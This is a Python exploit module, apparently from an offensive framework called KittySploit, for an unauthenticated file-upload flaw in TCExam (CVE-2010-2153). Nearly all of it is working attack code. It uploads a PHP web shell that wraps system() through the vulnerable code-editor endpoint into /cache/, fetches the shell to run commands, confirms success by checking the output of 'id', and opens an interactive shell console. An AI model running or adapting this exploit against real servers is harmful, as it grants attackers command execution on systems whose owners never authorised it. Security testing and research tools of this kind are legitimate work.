TCExam - Unauthenticated File Upload RCE (CVE-2010-2153)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TCExam unauthenticated upload RCE (CVE-2010-2153)."""

import re
from random import randint

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'TCExam - Unauthenticated File Upload RCE (CVE-2010-2153)',
        'description': (
            'Exploits CVE-2010-2153 by uploading a PHP shell via '
            'tce_functions_tcecode_editor.php into /cache/.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2010-2153'],
        'platform': Platform.PHP,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2010-2153'],
        'tags': ['tcexam', 'upload', 'rce', 'unauth', 'cve-2010-2153'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2010_2153_detect'],
            },
        },
    }

    base_path = OptString('', 'TCExam base path', required=False)

    def _shell_name(self) -> str:
        if not getattr(self, '_fname', None):
            self._fname = f'ks{randint(10000, 99999)}.php'
        return self._fname

    def _upload(self, php: str) -> bool:
        base = str(self.base_path or '').rstrip('/')
        fname = self._shell_name()
        boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW'
        body = (
            f'--{boundary}\r\n'
            "Content-Disposition: form-data; name='sendfile0'\r\n\r\n"
            f'{fname}\r\n'
            f'--{boundary}\r\n'
            f"Content-Disposition: form-data; name='userfile0'; filename='{fname}'\r\n"
            'Content-Type: application/octet-stream\r\n\r\n'
            f'{php}\r\n'
            f'--{boundary}--\r\n'
        )
        self.http_request(
            method='POST',
            path=f'{base}/admin/code/tce_functions_tcecode_editor.php',
            data=body,
            headers={
                'Content-Type': f'multipart/form-data; boundary={boundary}',
                'Cookie': 'LastVisit=1275442604',
                'Origin': 'null',
            },
            allow_redirects=False,
        )
        return True

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        self._upload(f"<?php system('{safe}'); ?>")
        base = str(self.base_path or '').rstrip('/')
        r = self.http_request(
            method='GET',
            path=f'{base}/cache/{self._shell_name()}',
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            print_error('Target does not appear vulnerable to CVE-2010-2153')
            return False
        print_success('TCExam upload RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()